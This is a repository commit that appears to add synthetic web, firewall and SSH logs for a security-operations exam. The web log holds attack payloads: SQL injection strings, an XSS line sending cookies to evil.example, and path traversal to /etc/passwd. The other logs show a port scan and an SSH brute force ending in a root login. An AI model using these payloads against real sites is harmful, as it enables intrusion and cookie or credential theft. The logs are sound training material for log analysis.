Moh-Khair/ghaymah-exam-Mohamed-Ashraf-Helmi-SecOps
0
0
نسخ 0
الشفرة المشكلات طلبات السحب Actions Packages المشاريع الإصدارات الويكي النشاط

Upload files to "dashboard/logs"

تصفح المصدر
هذا الالتزام موجود في:
Moh-Khair
2026-07-29 01:11:19 +00:00
الأصل 95f219b1b1
التزام b2d4af5276
3 ملفات معدلة مع 106 إضافات و0 حذوفات
تنزيل ملف التصحيح تنزيل ملف الاختلاف توسيع جميع الملفات طي جميع الملفات

45
dashboard/logs/endpoint1_web_access.log Normal file
عرض الملف

@@ -0,0 +1,45 @@
198.51.100.10 - - [27/Jul/2026:09:58:11 +0000] "GET / HTTP/1.1" 200 5124 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0"
198.51.100.11 - - [27/Jul/2026:09:58:47 +0000] "GET /about.html HTTP/1.1" 200 3221 "https://example.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
198.51.100.23 - - [27/Jul/2026:09:59:02 +0000] "GET /products?id=14 HTTP/1.1" 200 6710 "-" "Mozilla/5.0 (X11; Linux x86_64) Firefox/128.0"
198.51.100.10 - - [27/Jul/2026:09:59:33 +0000] "GET /cart HTTP/1.1" 200 2210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0"
198.51.100.45 - - [27/Jul/2026:10:00:05 +0000] "GET /favicon.ico HTTP/1.1" 304 0 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X)"
198.51.100.11 - - [27/Jul/2026:10:00:41 +0000] "POST /login.php HTTP/1.1" 200 1180 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
203.0.113.66 - - [27/Jul/2026:10:01:02 +0000] "GET /login.php?user=admin'%20OR%20'1'='1'-- HTTP/1.1" 401 512 "-" "sqlmap/1.7.2#stable"
203.0.113.66 - - [27/Jul/2026:10:01:04 +0000] "GET /products?id=1%20UNION%20SELECT%20username,password%20FROM%20users-- HTTP/1.1" 500 812 "-" "sqlmap/1.7.2#stable"
203.0.113.66 - - [27/Jul/2026:10:01:06 +0000] "GET /products?id=1'%20AND%20SLEEP(5)-- HTTP/1.1" 500 812 "-" "sqlmap/1.7.2#stable"
203.0.113.66 - - [27/Jul/2026:10:01:09 +0000] "GET /search?q=<script>document.location='http://evil.example/c?'+document.cookie</script> HTTP/1.1" 200 998 "-" "sqlmap/1.7.2#stable"
203.0.113.66 - - [27/Jul/2026:10:01:12 +0000] "GET /download?file=../../../../etc/passwd HTTP/1.1" 403 210 "-" "sqlmap/1.7.2#stable"
198.51.100.23 - - [27/Jul/2026:10:02:15 +0000] "GET /blog/post-42 HTTP/1.1" 200 4410 "-" "Mozilla/5.0 (X11; Linux x86_64) Firefox/128.0"
203.0.113.99 - - [27/Jul/2026:10:03:01 +0000] "GET /admin HTTP/1.1" 404 190 "-" "Mozilla/5.0 (compatible; Nikto/2.5.0)"
203.0.113.99 - - [27/Jul/2026:10:03:02 +0000] "GET /admin.php HTTP/1.1" 404 190 "-" "Mozilla/5.0 (compatible; Nikto/2.5.0)"
203.0.113.99 - - [27/Jul/2026:10:03:03 +0000] "GET /phpmyadmin/ HTTP/1.1" 404 190 "-" "Mozilla/5.0 (compatible; Nikto/2.5.0)"
203.0.113.99 - - [27/Jul/2026:10:03:04 +0000] "GET /.env HTTP/1.1" 404 190 "-" "Mozilla/5.0 (compatible; Nikto/2.5.0)"
203.0.113.99 - - [27/Jul/2026:10:03:05 +0000] "GET /wp-login.php HTTP/1.1" 404 190 "-" "Mozilla/5.0 (compatible; Nikto/2.5.0)"
203.0.113.99 - - [27/Jul/2026:10:03:06 +0000] "GET /config.bak HTTP/1.1" 404 190 "-" "Mozilla/5.0 (compatible; Nikto/2.5.0)"
203.0.113.99 - - [27/Jul/2026:10:03:07 +0000] "GET /server-status HTTP/1.1" 404 190 "-" "Mozilla/5.0 (compatible; Nikto/2.5.0)"
198.51.100.45 - - [27/Jul/2026:10:04:20 +0000] "GET /contact HTTP/1.1" 200 2890 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X)"
198.51.100.10 - - [27/Jul/2026:10:05:00 +0000] "GET /checkout HTTP/1.1" 200 3310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0"
192.0.2.77 - - [27/Jul/2026:10:06:00 +0000] "GET /api/data?page=1 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:01 +0000] "GET /api/data?page=2 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:01 +0000] "GET /api/data?page=3 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:02 +0000] "GET /api/data?page=4 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:02 +0000] "GET /api/data?page=5 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:03 +0000] "GET /api/data?page=6 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:03 +0000] "GET /api/data?page=7 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:04 +0000] "GET /api/data?page=8 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:04 +0000] "GET /api/data?page=9 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:05 +0000] "GET /api/data?page=10 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:05 +0000] "GET /api/data?page=11 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:06 +0000] "GET /api/data?page=12 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:06 +0000] "GET /api/data?page=13 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:07 +0000] "GET /api/data?page=14 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:07 +0000] "GET /api/data?page=15 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:08 +0000] "GET /api/data?page=16 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:08 +0000] "GET /api/data?page=17 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:09 +0000] "GET /api/data?page=18 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:09 +0000] "GET /api/data?page=19 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:10 +0000] "GET /api/data?page=20 HTTP/1.1" 200 1200 "-" "python-requests/2.31"
192.0.2.77 - - [27/Jul/2026:10:06:11 +0000] "GET /api/users?id=1'%20OR%20'1'='1 HTTP/1.1" 500 640 "-" "python-requests/2.31"
198.51.100.11 - - [27/Jul/2026:10:07:30 +0000] "GET /faq HTTP/1.1" 200 2110 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
198.51.100.23 - - [27/Jul/2026:10:08:12 +0000] "GET /pricing HTTP/1.1" 200 2980 "-" "Mozilla/5.0 (X11; Linux x86_64) Firefox/128.0"
198.51.100.10 - - [27/Jul/2026:10:09:00 +0000] "GET /logout HTTP/1.1" 200 512 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0"

34
dashboard/logs/endpoint2_firewall.log Normal file
عرض الملف

@@ -0,0 +1,34 @@
2026-07-27 09:57:40 SRC=10.0.0.12 SPT=51422 DST=10.0.0.1 DPT=53 PROTO=UDP ACTION=ALLOW
2026-07-27 09:58:02 SRC=10.0.0.14 SPT=51500 DST=198.51.100.200 DPT=443 PROTO=TCP ACTION=ALLOW
2026-07-27 09:58:30 SRC=10.0.0.12 SPT=51410 DST=10.0.0.1 DPT=123 PROTO=UDP ACTION=ALLOW
2026-07-27 09:59:10 SRC=198.51.100.10 SPT=51022 DST=10.0.0.5 DPT=443 PROTO=TCP ACTION=ALLOW
2026-07-27 09:59:44 SRC=198.51.100.11 SPT=51023 DST=10.0.0.5 DPT=443 PROTO=TCP ACTION=ALLOW
2026-07-27 10:00:12 SRC=198.51.100.23 SPT=51099 DST=10.0.0.5 DPT=80 PROTO=TCP ACTION=ALLOW
2026-07-27 10:02:40 SRC=203.0.113.66 SPT=44012 DST=10.0.0.5 DPT=3306 PROTO=TCP ACTION=DENY
2026-07-27 10:02:41 SRC=203.0.113.66 SPT=44013 DST=10.0.0.5 DPT=3306 PROTO=TCP ACTION=DENY
2026-07-27 10:02:55 SRC=203.0.113.66 SPT=44020 DST=10.0.0.5 DPT=5432 PROTO=TCP ACTION=DENY
2026-07-27 10:04:00 SRC=10.0.0.14 SPT=51600 DST=198.51.100.201 DPT=443 PROTO=TCP ACTION=ALLOW
2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33001 DST=10.0.0.5 DPT=20 PROTO=TCP ACTION=DENY
2026-07-27 10:05:01 SRC=192.0.2.77 SPT=33002 DST=10.0.0.5 DPT=21 PROTO=TCP ACTION=DENY
2026-07-27 10:05:02 SRC=192.0.2.77 SPT=33003 DST=10.0.0.5 DPT=22 PROTO=TCP ACTION=ALLOW
2026-07-27 10:05:02 SRC=192.0.2.77 SPT=33004 DST=10.0.0.5 DPT=23 PROTO=TCP ACTION=DENY
2026-07-27 10:05:03 SRC=192.0.2.77 SPT=33005 DST=10.0.0.5 DPT=25 PROTO=TCP ACTION=DENY
2026-07-27 10:05:03 SRC=192.0.2.77 SPT=33006 DST=10.0.0.5 DPT=53 PROTO=TCP ACTION=DENY
2026-07-27 10:05:04 SRC=192.0.2.77 SPT=33007 DST=10.0.0.5 DPT=80 PROTO=TCP ACTION=ALLOW
2026-07-27 10:05:04 SRC=192.0.2.77 SPT=33008 DST=10.0.0.5 DPT=110 PROTO=TCP ACTION=DENY
2026-07-27 10:05:05 SRC=192.0.2.77 SPT=33009 DST=10.0.0.5 DPT=139 PROTO=TCP ACTION=DENY
2026-07-27 10:05:05 SRC=192.0.2.77 SPT=33010 DST=10.0.0.5 DPT=143 PROTO=TCP ACTION=DENY
2026-07-27 10:05:06 SRC=192.0.2.77 SPT=33011 DST=10.0.0.5 DPT=443 PROTO=TCP ACTION=ALLOW
2026-07-27 10:05:06 SRC=192.0.2.77 SPT=33012 DST=10.0.0.5 DPT=445 PROTO=TCP ACTION=DENY
2026-07-27 10:05:07 SRC=192.0.2.77 SPT=33013 DST=10.0.0.5 DPT=993 PROTO=TCP ACTION=DENY
2026-07-27 10:05:07 SRC=192.0.2.77 SPT=33014 DST=10.0.0.5 DPT=995 PROTO=TCP ACTION=DENY
2026-07-27 10:05:08 SRC=192.0.2.77 SPT=33015 DST=10.0.0.5 DPT=1433 PROTO=TCP ACTION=DENY
2026-07-27 10:05:08 SRC=192.0.2.77 SPT=33016 DST=10.0.0.5 DPT=3306 PROTO=TCP ACTION=DENY
2026-07-27 10:05:09 SRC=192.0.2.77 SPT=33017 DST=10.0.0.5 DPT=3389 PROTO=TCP ACTION=DENY
2026-07-27 10:05:09 SRC=192.0.2.77 SPT=33018 DST=10.0.0.5 DPT=5432 PROTO=TCP ACTION=DENY
2026-07-27 10:05:10 SRC=192.0.2.77 SPT=33019 DST=10.0.0.5 DPT=8080 PROTO=TCP ACTION=DENY
2026-07-27 10:05:10 SRC=192.0.2.77 SPT=33020 DST=10.0.0.5 DPT=8443 PROTO=TCP ACTION=DENY
2026-07-27 10:06:20 SRC=10.0.0.12 SPT=51701 DST=10.0.0.1 DPT=53 PROTO=UDP ACTION=ALLOW
2026-07-27 10:07:15 SRC=198.51.100.45 SPT=51201 DST=10.0.0.5 DPT=443 PROTO=TCP ACTION=ALLOW
2026-07-27 10:08:00 SRC=10.0.0.14 SPT=51820 DST=198.51.100.202 DPT=443 PROTO=TCP ACTION=ALLOW
2026-07-27 10:09:12 SRC=198.51.100.10 SPT=51340 DST=10.0.0.5 DPT=443 PROTO=TCP ACTION=ALLOW

27
dashboard/logs/endpoint3_auth.log Normal file
عرض الملف

@@ -0,0 +1,27 @@
Jul 27 09:58:03 app-srv-05 sshd[10011]: Accepted publickey for deploy from 10.0.0.14 port 52210 ssh2
Jul 27 09:59:20 app-srv-05 sshd[10022]: Accepted publickey for deploy from 10.0.0.12 port 52301 ssh2
Jul 27 10:05:12 app-srv-05 sshd[10101]: Failed password for invalid user admin from 192.0.2.77 port 41001 ssh2
Jul 27 10:05:13 app-srv-05 sshd[10102]: Failed password for invalid user root from 192.0.2.77 port 41002 ssh2
Jul 27 10:05:14 app-srv-05 sshd[10103]: Failed password for invalid user test from 192.0.2.77 port 41003 ssh2
Jul 27 10:05:15 app-srv-05 sshd[10104]: Failed password for invalid user oracle from 192.0.2.77 port 41004 ssh2
Jul 27 10:05:16 app-srv-05 sshd[10105]: Failed password for invalid user ubuntu from 192.0.2.77 port 41005 ssh2
Jul 27 10:05:17 app-srv-05 sshd[10106]: Failed password for invalid user postgres from 192.0.2.77 port 41006 ssh2
Jul 27 10:05:18 app-srv-05 sshd[10107]: Failed password for invalid user deploy from 192.0.2.77 port 41007 ssh2
Jul 27 10:05:19 app-srv-05 sshd[10108]: Failed password for root from 192.0.2.77 port 41008 ssh2
Jul 27 10:05:20 app-srv-05 sshd[10109]: Failed password for root from 192.0.2.77 port 41009 ssh2
Jul 27 10:05:22 app-srv-05 sshd[10110]: Failed password for admin from 192.0.2.77 port 41010 ssh2
Jul 27 10:05:24 app-srv-05 sshd[10111]: Accepted password for root from 192.0.2.77 port 41011 ssh2
Jul 27 10:06:00 app-srv-05 sshd[10120]: Accepted publickey for deploy from 10.0.0.14 port 52400 ssh2
Jul 27 10:07:41 app-srv-05 sshd[10201]: Failed password for invalid user admin from 198.51.100.234 port 39001 ssh2
Jul 27 10:07:43 app-srv-05 sshd[10202]: Failed password for invalid user admin from 198.51.100.234 port 39002 ssh2
Jul 27 10:07:45 app-srv-05 sshd[10203]: Failed password for invalid user administrator from 198.51.100.234 port 39003 ssh2
Jul 27 10:07:47 app-srv-05 sshd[10204]: Failed password for invalid user user from 198.51.100.234 port 39004 ssh2
Jul 27 10:07:49 app-srv-05 sshd[10205]: Failed password for invalid user guest from 198.51.100.234 port 39005 ssh2
Jul 27 10:07:51 app-srv-05 sshd[10206]: Failed password for invalid user support from 198.51.100.234 port 39006 ssh2
Jul 27 10:07:53 app-srv-05 sshd[10207]: Failed password for invalid user backup from 198.51.100.234 port 39007 ssh2
Jul 27 10:07:55 app-srv-05 sshd[10208]: Failed password for root from 198.51.100.234 port 39008 ssh2
Jul 27 10:07:57 app-srv-05 sshd[10209]: Failed password for root from 198.51.100.234 port 39009 ssh2
Jul 27 10:07:59 app-srv-05 sshd[10210]: Failed password for root from 198.51.100.234 port 39010 ssh2
Jul 27 10:08:01 app-srv-05 sshd[10211]: Failed password for invalid user oracle from 198.51.100.234 port 39011 ssh2
Jul 27 10:08:03 app-srv-05 sshd[10212]: Failed password for invalid user postgres from 198.51.100.234 port 39012 ssh2
Jul 27 10:09:00 app-srv-05 sshd[10230]: Accepted publickey for deploy from 10.0.0.12 port 52511 ssh2